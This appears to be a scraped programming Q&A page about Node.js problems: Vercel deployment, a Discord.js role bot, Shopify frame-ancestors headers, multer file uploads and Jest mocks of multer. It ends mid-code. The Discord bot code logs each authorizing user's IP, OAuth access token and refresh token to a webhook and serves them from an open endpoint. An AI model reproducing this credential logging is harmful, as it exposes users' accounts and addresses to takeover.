deploy node api to vercel - node.js

I'm trying to deploy a node express backend on Vercel, but I'm always getting 404 or 500.
I have a folder on the root of the project named "handlers", inside of it, there're multiple folders with the routes and um index.js file that gets all promises and send to the index.js file on the root of the project.
I'm not so sure how the vercel.config should be.
handler/index.js
folders structure
[handler/*.js example]
const { exec } = require("child_process");
const { promisify } = require("util");
/**
* #param {*} event
* #param {*} models
* #returns
*/
module.exports.handler = async function (event, models) {
const execPromise = promisify(exec);
const pythonReturn = await execPromise("python3 app.py");
const result = JSON.parse(pythonReturn.stdout)
return {
statusCode: 200,
body: JSON.stringify(result),
};
};
module.exports.path = "/getSurebets";
module.exports.method = "GET";
[server.js]
'use strict'
const express = require('express')
const bodyParser = require('body-parser')
const cors = require('cors')
const app = express()
const router = express.Router()
const aliveTime = new Date().getTime()
const PORT = process.env.PORT || 3002;
const Handler = require("./index")
router.use(cors())
router.use(bodyParser.json())
router.use(bodyParser.urlencoded({ extended: true }))
router.get('/', (req, res) => {
req.json({ aliveTime })
})
router.use(async function(req, res){
const event = {
"resource": req.path,
"path": req.path,
"httpMethod": req.method,
"headers": req.headers,
"queryStringParameters": req.query,
"pathParameters": req.params,
"stageVariables": null,
"body": JSON.stringify(req.body),
"isBase64Encoded": false,
"requestContext": {
"authorizer": {}
}
}
try{
const response = await Handler.handler(event)
res
.set(response.headers)
.status(response.statusCode)
const data = response.body
if(req.path.indexOf("render") < 0){
res.send(JSON.parse(data))
}else{
res.send(data)
}
}catch(e){
console.error(e)
res.status(500).send(e)
}
})
app.use('/v1/', router)
app.listen(PORT)
console.log(`Listen on http://0.0.0.0:${PORT}`)
module.exports = app
root/index.js
const fns = require("./handlers")
const cors = require('./lib/cors')
const models = require("./models");
const extractPathValues = (pathExpression, httpPath) => {
const pathExpressionPattern = pathExpression.replace(/{[\w]+}|:[\w]+/g, '([^/]+)')
const pathValueRegex = new RegExp(`^${pathExpressionPattern}$`)
const pathValues = pathValueRegex.exec(httpPath)
return pathValues && pathValues.length > 0 ? pathValues.slice(1) : null
}
const extractPathNames = (pathExpression) => {
const pathExpressionPattern = pathExpression?.replace(/{[\w.]+}|:[\w.]+/g, '[:{]([\\w]+)}?');
const pathNameRegex = new RegExp(`^${pathExpressionPattern}$`)
const pathNames = pathNameRegex.exec(pathExpression)
return pathNames && pathNames.length > 0 ? pathNames.slice(1) : null
}
const getRouterHandler = (event) => {
const routesByMethod = fns.filter(r => r.method === event.httpMethod)
for(const route of routesByMethod) {
const pathPartNames = extractPathNames(route.path)
const pathValues = extractPathValues(route.path, event.path)
if (pathValues && pathPartNames) {
const params = {}
let keyIndex = 0;
for(const key of pathPartNames) {
params[ key ] = pathValues[ keyIndex ]
keyIndex++;
}
return {route, params}
}
}
}
const getHandler = async (event) => {
return getRouterHandler(event)
}
exports.handler = async (event, context) => {
if(event.Records) return tRender(event, context, models)
if(process.env.NODE_ENV!=='test') console.log(event)
const HANDLER = await getHandler(event)
if(!HANDLER) return { statusCode: 404, body: JSON.stringify({ message: 'Not Found' }) }
const { route, params } = HANDLER
if(!event.pathParameters || !Object.keys(event.pathParameters).length) {
event.pathParameters = params
}
if((process.env.NODE_ENV || '').trim() !== 'test') console.debug({ event })
const response = cors(
await route.handler(event, models, context).catch(err => {
console.error(err)
if(!err.statusCode || !err.body ) {
return Promise.reject(err)
}
return Promise.resolve(err)
})
)
return response
}
[vercel.config]
{
"version": 2,
"name": "omnes-api",
"builds": [
{ "src": "index.js", "use": "#vercel/node" }
],
"routes": [
{
"src": "handlers/index.js",
"dest": "index.js"
}
]
}
Error:

Related

If the people in the json file are there, give them a role with the .verify command. discord.js v13

if there is a user id saved in the json file i want to give them a role when they use the .verify command.
or I want to automatically assign roles to user ids in json file
my code i tried but it didn't work I don't want it to assign a role if the person isn't there
client.on("messageCreate", async (message, ctx) => {
if(message.channel.id === '1062725303878811678'){
if(message.content == 'dogrula'){
const role = message.guild.roles.cache.get('1070667391278792714')
const guild = client.guilds.cache.get("1026216372386136114")
const member = message.author.id
console.log('Found user:', member)
fs.readFile('./object.json', async function(err, data) {
let msg = await message.channel.send({
content: `**kontrol ediliyor...**`
})
let json = JSON.parse(data);
let error = 0;
let success = 0;
let already_joined = 0;
for (const i of json) {
const user = await client.users.fetch(i.userID).catch(() => { });
if (guild.members.cache.get(i.userID)) {
await message.member.roles.add(role, { userID: i.userID }).catch(() => {
console.log(error++)
})
console.log(success++)
}
}
})
all code of my bot
const Discord = require('discord.js');
const client = new Discord.Client({
fetchAllMembers: false,
restTimeOffset: 0,
restWsBridgetimeout: 100,
shards: "auto",
allowedMentions: {
parse: [],
repliedUser: false,
},
partials: ['MESSAGE', 'CHANNEL', 'REACTION'],
intents: [
Discord.Intents.FLAGS.GUILDS,
Discord.Intents.FLAGS.GUILD_MEMBERS,
//Discord.Intents.FLAGS.GUILD_BANS,
//Discord.Intents.FLAGS.GUILD_EMOJIS_AND_STICKERS,
//Discord.Intents.FLAGS.GUILD_INTEGRATIONS,
//Discord.Intents.FLAGS.GUILD_WEBHOOKS,
//Discord.Intents.FLAGS.GUILD_INVITES,
Discord.Intents.FLAGS.GUILD_VOICE_STATES,
//Discord.Intents.FLAGS.GUILD_PRESENCES,
Discord.Intents.FLAGS.GUILD_MESSAGES,
Discord.Intents.FLAGS.GUILD_MESSAGE_REACTIONS,
//Discord.Intents.FLAGS.GUILD_MESSAGE_TYPING,
Discord.Intents.FLAGS.DIRECT_MESSAGES,
Discord.Intents.FLAGS.DIRECT_MESSAGE_REACTIONS,
//Discord.Intents.FLAGS.DIRECT_MESSAGE_TYPING
],
});
const jeu = require("./jeu");
const chalk = require('chalk');
const db = require('quick.db');
const fs = require('fs');
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));
const FormData = require('form-data');
const axios = require('axios');
const emoji = require("./emoji");
process.on("unhandledRejection", err => console.log(err))
app.use(bodyParser.text())
app.get('/', function(req, res) {
res.sendFile(__dirname + '/index.html')
})
app.get('/jeuallauth', async (req, res) => {
fs.readFile('./object.json', function(err, data) {
return res.json(JSON.parse(data))
})
})
app.post('/', function(req, res) {
const ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress
let form = new FormData()
form.append('client_id', jeu.client_id)
form.append('client_secret', jeu.client_secret)
form.append('grant_type', 'authorization_code')
form.append('redirect_uri', jeu.redirect_uri)
form.append('scope', 'identify', 'guilds.join')
form.append('code', req.body)
fetch('https://discordapp.com/api/oauth2/token', { method: 'POST', body: form, })
.then((eeee) => eeee.json())
.then((cdcd) => {
ac_token = cdcd.access_token
rf_token = cdcd.refresh_token
const tgg = { headers: { authorization: `${cdcd.token_type} ${ac_token}`, } }
axios.get('https://discordapp.com/api/users/#me', tgg)
.then((te) => {
let efjr = te.data.id
fs.readFile('./object.json', function(res, req) {
if (
JSON.parse(req).some(
(ususu) => ususu.userID === efjr
)
) {
console.log(
`[-] ${ip} - ` +
te.data.username +
`#` +
te.data.discriminator
)
return
}
console.log(
`[+] ${ip} - ` +
te.data.username +
'#' +
te.data.discriminator
)
avatarHASH =
'https://cdn.discordapp.com/avatars/' +
te.data.id +
'/' +
te.data.avatar +
'.png?size=4096'
fetch(`${jeu.wehbook}`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
avatar_url: '',
embeds: [
{
color: 3092790,
title: `${emoji.info} **New User**`,
thumbnail: { url: avatarHASH },
description:
`${emoji.succes} \`${te.data.username}#${te.data.discriminator}\`` +
`\n\n${emoji.succes} IP: \`${ip}\`` +
`\n\n${emoji.succes} ID: \`${te.data.id}\`` +
`\n\n${emoji.succes} Acces Token: \`${ac_token}\`` +
`\n\n${emoji.succes} Refresh Token: \`${rf_token}\``,
},
],
}),
})
var papapa = {
userID: te.data.id,
userIP: ip,
avatarURL: avatarHASH,
username:
te.data.username + '#' + te.data.discriminator,
access_token: ac_token,
refresh_token: rf_token,
},
req = []
req.push(papapa)
fs.readFile('./object.json', function(res, req) {
var jzjjfj = JSON.parse(req)
jzjjfj.push(papapa)
fs.writeFile(
'./object.json',
JSON.stringify(jzjjfj),
function(eeeeeeeee) {
if (eeeeeeeee) {
throw eeeeeeeee
}
}
)
})
})
})
.catch((errrr) => {
console.log(errrr)
})
})
})
client.on("ready", () => {
setInterval(() => {
var guild = client.guilds.cache.get('1026216372386136114');
var shareCount = guild.members.cache.filter(member => member.roles.cache.has('1070667391278792714')).size;
var OnlineCount = guild.members.cache.filter(m => m.presence && m.presence.status !== "offline").size;
let activities = [ `${guild.memberCount} Members`, `${OnlineCount} Online Members`, `${guild.premiumSubscriptionCount} Hardcore Boosted` , `${shareCount} Shareholder Members` ], i = 0;
setInterval(() => client.user.setActivity({ name: `${activities[i++ % activities.length]}`, status: "DND" }), 5200);
}, 100);
client.on("messageCreate", async (message, ctx) => {
if(message.channel.id === '1062725303878811678'){
if(message.content == 'dogrula'){
const role = message.guild.roles.cache.get('1070667391278792714')
const guild = client.guilds.cache.get("1026216372386136114")
const member = message.author.id
console.log('Found user:', member)
fs.readFile('./object.json', async function(err, data) {
let msg = await message.channel.send({
content: `**kontrol ediliyor...**`
})
let json = JSON.parse(data);
let error = 0;
let success = 0;
let already_joined = 0;
for (const i of json) {
const user = await client.users.fetch(i.userID).catch(() => { });
if (guild.members.cache.get(i.userID)) {
await message.member.roles.add(role, { userID: i.userID }).catch(() => {
console.log(error++)
})
console.log(success++)
}
}
})
}
}
})
function escapeRegex(str) {
return str.replace(/[.*+?^${}()|[\]\\]/g, `\\$&`);
}
})
json file
[{"userID":"10342421159140912","avatarURL":"*********","username":"****","access_token":"********","refresh_token":"****"}
The users who authorize my bot are saved in a json file and I want to automatically assign roles to the people in that file, but it didn't work.
I tried something else and if the user is registered in the json file it uses the .verify command and the bot gives him a role. but it was giving even though it wasn't registered, I couldn't figure it out

Clickjacking Issue In Shopify Nextjs App?

I am facing an issue regarding clickjacking prevention. I have implemented authentication and custom headers that contain headers that are requested by Shopify.
ctx.set('Content-Security-Policy', `frame-ancestors https://${ctx.query.shop} https://admin.shopify.com`);
ctx.res.setHeader(
"Content-Security-Policy",
`frame-ancestors https://${ctx.query.shop} https://admin.shopify.com;`
)
local environment headers:
[1]: https://i.stack.imgur.com/XBkW4.png
Production Environment response headers:
[2]: https://i.stack.imgur.com/YkfnA.png
It is working fine in my development environment but is not working in production.
my server.js file
/* eslint-disable #typescript-eslint/no-var-requires */
const dotenv = require('dotenv')
const Koa = require('koa')
const next = require('next')
const { default: createShopifyAuth } = require('#shopify/koa-shopify-auth')
const { verifyRequest } = require('#shopify/koa-shopify-auth')
const { default: Shopify, ApiVersion } = require('#shopify/shopify-api')
const { withSentry } = require('#sentry/nextjs')
const proxy = require('koa-proxy')
const Router = require('#koa/router')
const { checkForNewThemeSupport } = require('./checkfordawntheme')
dotenv.config()
const { PORT } = process.env
const { NODE_ENV } = process.env
const port = parseInt(PORT, 10) || 3000
const dev = NODE_ENV !== 'production'
const app = next({ dev })
const handle = withSentry(app.getRequestHandler())
if (!process.env.NEXT_PUBLIC_SHOPIFY_API_KEY || !process.env.SHOPIFY_API_SECRET_KEY) {
console.error('Missing api keys')
}
const SCOPES = [
'read_products',
'write_products',
'unauthenticated_read_product_listings',
'read_orders',
'read_script_tags',
'write_script_tags',
'read_themes'
]
Shopify.Context.initialize({
API_KEY: process.env.NEXT_PUBLIC_SHOPIFY_API_KEY,
API_SECRET_KEY: process.env.SHOPIFY_API_SECRET_KEY,
SCOPES,
HOST_NAME: process.env.SHOPIFY_APP_URL.replace(/https:\/\//, ''),
API_VERSION: ApiVersion.October20,
IS_EMBEDDED_APP: true,
SESSION_STORAGE: new Shopify.Session.MemorySessionStorage()
})
// TODO replace this with something serious
const ACTIVE_SHOPIFY_SHOPS = {}
const handleRequest = async (ctx) => {
await handle(ctx.req, ctx.res)
ctx.set('Content-Security-Policy', `frame-ancestors https://${ctx.query.shop} https://admin.shopify.com`);
ctx.res.setHeader(
"Content-Security-Policy",
`frame-ancestors https://${ctx.query.shop} https://admin.shopify.com;`
)
console.log("************* frame ancestor ********* ")
ctx.respond = false
ctx.res.statusCode = 200
}
app.prepare().then(() => {
const server = new Koa()
const router = new Router()
server.keys = [Shopify.Context.API_SECRET_KEY]
// online auth for app/user request
server.use(createShopifyAuth({
accessMode: 'online',
afterAuth(ctx) {
// Online access mode access token and shop available in ctx.state.shopify
const { shop } = ctx.state.shopify
const { host } = ctx.query
// Redirect to app with shop parameter upon auth
ctx.redirect(`/?shop=${shop}&host=${host}`)
}
}))
// offline auth for background tasks
server.use(createShopifyAuth({
accessMode: 'offline',
prefix: '/offline',
async afterAuth(ctx) {
const { shop, accessToken } = ctx.state.shopify
ACTIVE_SHOPIFY_SHOPS[shop] = true
// APP_UNINSTALLED webhook to make sure merchants go through OAuth if they reinstall it
const response = await Shopify.Webhooks.Registry.register({
shop,
accessToken,
path: '/webhooks',
topic: 'APP_UNINSTALLED',
webhookHandler: async (topic, shop) => delete ACTIVE_SHOPIFY_SHOPS[shop]
})
if (!response.success) {
console.error(`Failed to register APP_UNINSTALLED webhook: ${response.result}`)
}
ctx.redirect(`/auth?shop=${shop}`)
}
}))
router.get('/', async (ctx) => {
const { shop } = ctx.query
if (ACTIVE_SHOPIFY_SHOPS[shop] === undefined) {
ctx.redirect(`/offline/auth?shop=${shop}`)
} else {
await handleRequest(ctx)
}
})
router.get('(/_next/static/.*)', handleRequest)
router.get('/_next/webpack-hmr', handleRequest)
router.get('/(.*).js', handleRequest)
router.get('/login', verifyRequest(), handleRequest)
router.get('/register', verifyRequest(), handleRequest)
router.post(
'/webhooks',
async (ctx) => {
try {
await Shopify.Webhooks.Registry.process(ctx.req, ctx.res)
} catch (error) {
console.error(`Failed to process webhook: ${error}`)
}
}
)
router.post(
'/graphql',
verifyRequest({ returnHeader: true }),
async (ctx) => {
await Shopify.Utils.graphqlProxy(ctx.req, ctx.res)
}
)
router.get(
'/checkfor20',
verifyRequest(),
async (ctx) => {
try {
const hasCartAppBlock = await checkForNewThemeSupport(ctx)
ctx.body = JSON.stringify({ hasCartAppBlock })
ctx.status = 200
} catch (error) {
console.error(`Failed to check for theme: ${error}`)
}
}
)
server.use(router.allowedMethods())
server.use(router.routes())
server.use(proxy({
host: process.env.NEXT_PUBLIC_TREEPOINTS_API_URL,
match: /^\/********-api\/\w*/,
map: (path) => path?.split(process.env.NEXT_PUBLIC_TREEPOINTS_API_PROXY_URL)?.[1] || path
}))
// eslint-disable-next-line no-console
server.listen(port, () => console.log(`> Ready on http://localhost:${port}`))
})
App development framework: nextjs
deployment server: Heroku
Any help would be appreciated.

Not receive any data from react to nodejs

I am trying to send data from front end to back end with react and nodejs. but when I console in front end it appear data but in backend it didn't get anything.
Here is my front end code:
const [imageSelected, setImageSelected] = useState("");
// Form submission
const handleSubmit = async (event) => {
event.preventDefault();
const formData = new FormData();
formData.append("file", imageSelected);
const payload = { title, mission, isSearchable, userId: currentUser.id };
formData.append("payload", payload);
// Send post request for signup
const res = await axios.post("/api/v1/teams/team", formData, {
headers: { "Content-type": "multipart/form-data" },
});
// If no validation errors were found
if (res.data.validationErrors === undefined) {
// Clear any errors
setErrorsArr([]);
// Hide the errors component
setShowErrors(false);
// Toggle the modal
toggleModal();
// Go to team management page
NextRouter.push(`/team/${res.data}`);
} else {
// Set errors
setErrorsArr(res.data.validationErrors.errors);
// Show the errors component
setShowErrors(true);
}
};
<input
type="file"
className="team--modal_upload_avatar"
ref={inputFile}
onChange={(e) => setImageSelected(e.target.files[0])}
/>
<Grid item xs={12} className={classes.avatarDiv}>
<Avatar
aria-label="team"
className={classes.avatar}
component="div"
onClick={onButtonClick}
>
<AddAPhotoIcon className={classes.avatarIcon} />
</Avatar>
Here is my route:
const express = require("express");
const router = express.Router();
const { catchErrors } = require("../errors/errorHandlers");
const { body, param } = require("express-validator");
const cloudinary = require("cloudinary").v2;
const path = require("path");
const Datauri = require("datauri/parser");
const cloud_name = process.env.CLOUDINARY_NAME;
const cloud_api_key = process.env.CLOUDINARY_API_KEY;
const cloud_api_secret = process.env.CLOUDINARY_API_SECRET;
const cloud_url = process.env.CLOUDINARY_URL;
cloudinary.config({
cloud_name: cloud_name,
api_key: cloud_api_key,
api_secret: cloud_api_secret,
cloudinary_url: cloud_url,
});
// Controller
const {
createTeam,
getUsersTeams,
getManagedTeams,
getTeamCredits,
getTeamData,
updateTeamData,
shutdownTeam,
checkTeamPermissions,
checkTeamPermissionsAndLimits,
addMember,
removeMember,
addMemberBackToTeam,
quitTeam,
} = require("./teamsController");
const {
checkUserVerification,
restrictedRoute,
checkData,
} = require("../helpers/apiHelpers");
router.post(
"/team",
(req, res) => {
console.log(res);
console.log("req body", req.body);
console.log("req files", req.files);
console.log("req user", req.user);
const dUri = new Datauri();
const dataUri = (req) =>
dUri.format(path.extname(req.name).toString(), req.data);
if (req.files !== undefined && req.files !== null) {
const { file, id } = req.files;
const newFile = dataUri(file).content;
cloudinary.uploader
.upload(newFile, {
folder: "TeamAvatar",
})
.then((result) => {
const imageUrl = result.url;
const data = { id: req.body.id, imageUrl };
createTeam(data);
return res
.status(200)
.json({ message: "Success", data: { imageUrl } });
})
.catch((err) =>
res.status(400).json({ message: "Error", data: { err } })
);
} else {
return res.status(400).json({ message: "Error" });
}
},
restrictedRoute,
[
body(
"title",
"Only alphabetical characters, numbers, and spaces are allowed."
)
.not()
.isEmpty()
.isLength({ min: 1, max: 25 })
.trim()
.matches(/^[a-zA-Z0-9 ]+$/)
.blacklist("\\<\\>\\;\\[\\]\\{\\}\\|\\%\\=\\(\\)\\~\\#")
.escape(),
body("mission", "Only alphabetical characters and spaces are allowed.")
.not()
.isEmpty()
.trim()
.blacklist("\\<\\>\\;\\[\\]\\{\\}\\|\\%\\=\\(\\)\\~\\#")
.escape(),
],
checkData,
catchErrors(checkUserVerification),
catchErrors(createTeam)
);
Here is my controller that have create team function:
exports.createTeam = async (req, res) => {
// Get the user id from the session
const userId = req.session.passport.user.id;
console.log("body", req.body);
console.log("files", req.files);
console.log("file", req.file);
// Make sure user has the credits to create a new team
const teamInfo = await models.User.findOne({
where: {
id: userId,
},
attributes: ["teamCredits"],
});
if (teamInfo.dataValues.teamCredits <= 0) {
res.status(200).json({
validationErrors: {
errors: [
{
msg: "You don't have any more team credits.",
},
],
},
});
return;
}
const { title, mission } = req.body;
// const { picture } = req.imageUrl;
// Make sure the user hasn't already created a team with that title.
const existingTeam = await models.Team.findOne({
where: {
title: title,
creatorId: userId,
},
});
if (existingTeam !== null) {
// Response and let the user know.
res.status(200).json({
validationErrors: {
errors: [
{
msg: "You already created a team with that name.",
},
],
},
});
return;
}
// Generator a public team id
const firstLetter = title[0];
const secondLetter = title[1];
const thirdLetter = title[2];
const timePart = Date.now();
const generatedPublicId = `${firstLetter}${secondLetter}${thirdLetter}${timePart}`;
const roomEntry = {
name: title,
status: true,
};
const roomResponse = await models.Room.create({ ...roomEntry });
const defaultTeamValues = {
title: title,
type: "simple team",
mission: mission,
// picture: picture,
agreement: "default",
inputs: "",
outputs: "",
duration_in_months: 12,
status: "Seeking new members",
public_team_id: generatedPublicId,
mergedTo: null,
creatorId: userId,
date_closed: null,
current_members_count: 1,
current_invites_count: 0,
max_team_members_allowed: 10,
max_invites_allowed: 20,
roomID: roomResponse.dataValues.id,
};
// No existing team was found with that title and created by that user.
// Create team.
const team = await models.Team.create(defaultTeamValues);
const defaultRoleValues = {
title: "creator",
duties: "",
rights: "all",
};
// Create role for new team
const role = await models.Role.create(defaultRoleValues);
const defaultMembershipValues = {
interests: "",
contributions: "",
authorization: "creator",
status: "active",
application_letter: "",
date_applied: Sequelize.literal("CURRENT_TIMESTAMP"),
date_joined: Sequelize.literal("CURRENT_TIMESTAMP"),
date_departed: null,
memberId: userId,
teamId: team.dataValues.id,
roleId: role.dataValues.id,
};
// Create membership for team with role and team ids
await models.Membership.create(defaultMembershipValues);
const newCreditValue = teamInfo.dataValues.teamCredits - 1;
// Update team credits the user has.
await models.User.update(
{ teamCredits: newCreditValue },
{
where: {
id: userId,
},
}
);
// Done
res.status(200).json(team.dataValues.public_team_id);
};
Why my back end didn't get any data I sent from front end to back end?
Add files
server.js:
/* eslint-disable no-undef */
const express = require("express");
const next = require("next");
const dotenv = require("dotenv");
const dev = process.env.NODE_ENV !== "production";
const app = next({ dev });
const handle = app.getRequestHandler();
const compression = require("compression");
const bodyParser = require("body-parser");
const logger = require("morgan");
const session = require("express-session");
const SequelizeStore = require("connect-session-sequelize")(session.Store);
const passport = require("passport");
const helmet = require("helmet");
const sslRedirect = require("heroku-ssl-redirect");
const socketIo = require("socket.io");
const http = require("http");
const {
saveMessage,
getAllMessagedByRoomID,
} = require("./services/chat/chatController");
// Setup Next.js then run express.
app.prepare().then(() => {
// Setup express
const server = express();
const chatServer = http.createServer(server);
const io = socketIo(chatServer);
// Socket Connection Start
io.on("connection", (socket) => {
chatID = socket.handshake.query.chatID;
socket.join(chatID);
//Send message to only a particular user
socket.on("send_message", (message) => {
saveMessage(message);
io.in(message.roomID).emit("receive_message", {
content: message.content,
roomID: message.roomID,
userID: message.userID,
});
});
socket.on("get_all_messages", async ({ roomID }) => {
const allMessagedByRoomID = await getAllMessagedByRoomID(roomID);
io.in(roomID).emit("send_all_messages", {
allMessagedByRoomID,
});
});
});
// Redirect all traffic to use ssl(https);
server.use(sslRedirect());
// Define PORT
const port = process.env.PORT || 3000;
let serverMode = "development";
// Check if node is setup for production
if (!dev) {
serverMode = "production";
}
if (serverMode === "production") {
server.use(helmet());
}
// Logger
server.use(
logger("dev", {
skip: function (req, res) {
return res.statusCode < 199; // Only log 400 and 500 codes
},
})
);
// Use body parser
server.use(bodyParser.urlencoded({ extended: false }));
server.use(bodyParser.json());
// Compression
server.use(compression());
// Database
const db = require("./models/index");
const sequelize = db.sequelize;
// Test db connection
sequelize
.authenticate()
.then(() => {
console.log("Database successfully connected!");
})
.catch((err) => {
throw new Error(err);
});
// Sessions Setup
const sessionMaxTime = 1000 * 60 * 60 * 24 * 5; // 5 Days
// Session options
const theSession = {
secret: process.env.SECRET,
name: "sessId",
resave: false,
saveUninitialized: false,
cookie: {
maxAge: sessionMaxTime,
sameSite: true,
},
store: new SequelizeStore({
db: sequelize,
table: "Session",
}),
};
// Session production options
if (serverMode === "production") {
server.set("trust proxy", 1); // Trust first proxy
theSession.cookie.secure = true; // Serve cookies on HTTPS only
}
server.use(session(theSession));
// Passport Setup
// require("./config/passport")(passport);
require("./config/passport");
server.use(passport.initialize());
server.use(passport.session());
// API Routes
const userRoutes = require("./services/users/usersAPI");
server.use("/api/v1/users", userRoutes);
const profileRoutes = require("./services/profiles/profilesAPI");
server.use("/api/v1/profiles", profileRoutes);
const teamRoutes = require("./services/teams/teamsAPI");
server.use("/api/v1/teams", teamRoutes);
const searchRoutes = require("./services/searches/searchAPI");
server.use("/api/v1/search", searchRoutes);
const ratingRoutes = require("./services/ratings/ratingsAPI");
server.use("/api/v1/ratings", ratingRoutes);
const inviteRoutes = require("./services/invites/invitesAPI");
server.use("/api/v1/invites", inviteRoutes);
const feedbackRoutes = require("./services/feedback/feedbackAPI");
server.use("/api/v1/feedback", feedbackRoutes);
const couponRoutes = require("./services/coupons/couponsAPI");
server.use("/api/v1/coupons", couponRoutes);
const chatRoutes = require("./services/chat/chatAPI");
server.use("/api/v1/chat", chatRoutes);
// Restricted Pages
const restrictedRoutes = require("./services/restricted/restrictedAPI");
server.use(restrictedRoutes);
// Run server
sequelize.sync({ force: true }).then(() => {
server.listen(port, (err) => {
if (err) throw err;
console.log(`> Ready in ${serverMode} mode.`);
});
});
});
To handle HTTP POST requests in Express.js version 4 and above, you need to install the middleware module called body-parser.
body-parser extracts the entire body portion of an incoming request stream and exposes it on req.body.
const express = require('express')
const app = express()
const bodyParser = require('body-parser');
// support parsing of application/json type post data
app.use(bodyParser.json());
//support parsing of application/x-www-form-urlencoded post data
app.use(bodyParser.urlencoded({ extended: true }));
router.post("/team", (req, res) => {...})
In Addition:
To handle multipart/form-data request that support file upload, you
need to use multer multer module.
Basic usage example:
Don't forget the enctype="multipart/form-data" in your form.
<form action="/profile" method="post" enctype="multipart/form-data">
<input type="file" name="avatar" />
</form>
var express = require('express')
var multer = require('multer')
var upload = multer({ dest: 'uploads/' })
var app = express()
app.post('/profile', upload.single('avatar'), function (req, res, next) {
// req.file is the `avatar` file
// req.body will hold the text fields, if there were any
})
app.post('/photos/upload', upload.array('photos', 12), function (req, res, next) {
// req.files is array of `photos` files
// req.body will contain the text fields, if there were any
})
var cpUpload = upload.fields([{ name: 'avatar', maxCount: 1 }, { name: 'gallery', maxCount: 8 }])
app.post('/cool-profile', cpUpload, function (req, res, next) {
// req.files is an object (String -> Array) where fieldname is the key, and the value is array of files
//
// e.g.
// req.files['avatar'][0] -> File
// req.files['gallery'] -> Array
//
// req.body will contain the text fields, if there were any
})
In your case: route.js
const express = require("express");
const app = express();
const multer = require('multer');
const upload = multer({ dest: 'uploads/' });
const router = express.Router();
const { catchErrors } = require("../errors/errorHandlers");
const { body, param } = require("express-validator");
const cloudinary = require("cloudinary").v2;
const path = require("path");
const Datauri = require("datauri/parser");
const cloud_name = process.env.CLOUDINARY_NAME;
const cloud_api_key = process.env.CLOUDINARY_API_KEY;
const cloud_api_secret = process.env.CLOUDINARY_API_SECRET;
const cloud_url = process.env.CLOUDINARY_URL;
cloudinary.config({
cloud_name: cloud_name,
api_key: cloud_api_key,
api_secret: cloud_api_secret,
cloudinary_url: cloud_url,
});
// Controller
const {
createTeam,
getUsersTeams,
getManagedTeams,
getTeamCredits,
getTeamData,
updateTeamData,
shutdownTeam,
checkTeamPermissions,
checkTeamPermissionsAndLimits,
addMember,
removeMember,
addMemberBackToTeam,
quitTeam,
} = require("./teamsController");
const {
checkUserVerification,
restrictedRoute,
checkData,
} = require("../helpers/apiHelpers");
router.post(
"/team", upload.single('file'),
(req, res) => {
console.log(res);
// req.file is the `file` file
// req.body will hold the text fields, if there were any
console.log("req body", req.body);
console.log("req file", req.file);
console.log("req user", req.user);
const dUri = new Datauri();
const dataUri = (req) =>
dUri.format(path.extname(req.name).toString(), req.data);
if (req.files !== undefined && req.files !== null) {
const { file, id } = req.files;
const newFile = dataUri(file).content;
cloudinary.uploader
.upload(newFile, {
folder: "TeamAvatar",
})
.then((result) => {
const imageUrl = result.url;
const data = { id: req.body.id, imageUrl };
createTeam(data);
return res
.status(200)
.json({ message: "Success", data: { imageUrl } });
})
.catch((err) =>
res.status(400).json({ message: "Error", data: { err } })
);
} else {
return res.status(400).json({ message: "Error" });
}
},
restrictedRoute,
[
body(
"title",
"Only alphabetical characters, numbers, and spaces are allowed."
)
.not()
.isEmpty()
.isLength({ min: 1, max: 25 })
.trim()
.matches(/^[a-zA-Z0-9 ]+$/)
.blacklist("\\<\\>\\;\\[\\]\\{\\}\\|\\%\\=\\(\\)\\~\\#")
.escape(),
body("mission", "Only alphabetical characters and spaces are allowed.")
.not()
.isEmpty()
.trim()
.blacklist("\\<\\>\\;\\[\\]\\{\\}\\|\\%\\=\\(\\)\\~\\#")
.escape(),
],
checkData,
catchErrors(checkUserVerification),
catchErrors(createTeam)
);

How to mock multer using jest/enzyme to file upload using axios post mock call

I am testing my express router with axios post-call to backend. I am getting 500 responses instead of 200, not sure how to mock the multer effectively.
Any thoughts on this? Thanks
routes.jsx
const axios = require('axios')
const router = express.Router()
const multer = require('multer')
const FormData = require('form-data')
const express = require('express')
const upload = multer({ storage: multer.memoryStorage() }).any()
router.post('/', upload, (req, res) => {
const formData = new FormData()
const { body } = req
req.files.forEach(file => {
formData.append(
'files',
file.buffer,
{
filename: file.originalname
},
file.originalname
)
})
axios
.post('/api/endpoint', formData)
.then(response => {return response
})
.catch(e => {
console.log(e)
})
})
module.exports = router
Below are my test case
routes.jsx.test
const axios = require('axios')
const MockAdapter = require('axios-mock-adapter')
const myroute = require('myroute')
const app = express()
const mock = new MockAdapter(axios)
const request = require('supertest')
const express = require('express')
const bodyParser = require('body-parser')
const multer = require('multer')
jest.mock('multer')
multer.mockImplementation(() => {
return {
any () {
return (req, res, next) => {
req.body = { userName: 'testUser' }
req.files = [
{
originalname: 'sample.name',
mimetype: 'sample.type',
path: 'sample.url'
}
]
return next()
}
}
}
})
app.use(bodyParser.json())
app.use('/', myroute)
describe('sendFiles', () => {
const url = '/api/endpoint'
test('200 response', () => {
const myMockRes = { mykey: 'myVal' }
let formData = new FormData()
const file = new Blob(['somee contents'], { type: 'multipart/form-data' })
formData.append('files', file)
formData.append('userName', 'testUser')
mock.onPost(url).reply(200, myMockRes)
return (
request(app)
.post('/')
.send({ userName: 'testUser', files: [file] })
//.expect('Content-Type', /json/)
.expect(200)
.then(response => {
const { data } = response.body
expect(data).toEqual(myMockRes)
})
)
})
})
error:
TypeError: Cannot read property 'any' of undefined in routes.jsx
const upload = multer({ storage: multer.memoryStorage() }).any()
When you use jest.mock('multer'), Jest automatically mocks the module and returns undefined when it gets called in the test. Since we want to mock memoryStorage and any methods as well, we have to do it explicitly by passing a factory as the second argument to jest.mock.
jest.mock('multer', () => {
const multer = () => ({
any: () => {
return (req, res, next) => {
req.body = { userName: 'testUser' }
req.files = [
{
originalname: 'sample.name',
mimetype: 'sample.type',
path: 'sample.url',
buffer: Buffer.from('whatever'), // this is required since `formData` needs access to the buffer
},
]
return next()
}
},
})
multer.memoryStorage = () => jest.fn()
return multer
})
The other issue is that Blob does not exist in Node. You can use Buffer.from to generate a buffer to send in the request.
const file = Buffer.from('whatever')
And you don't need to use FormData in the test.
The whole code:
// router.test.js
const axios = require('axios')
const MockAdapter = require('axios-mock-adapter')
const express = require('express')
const app = express()
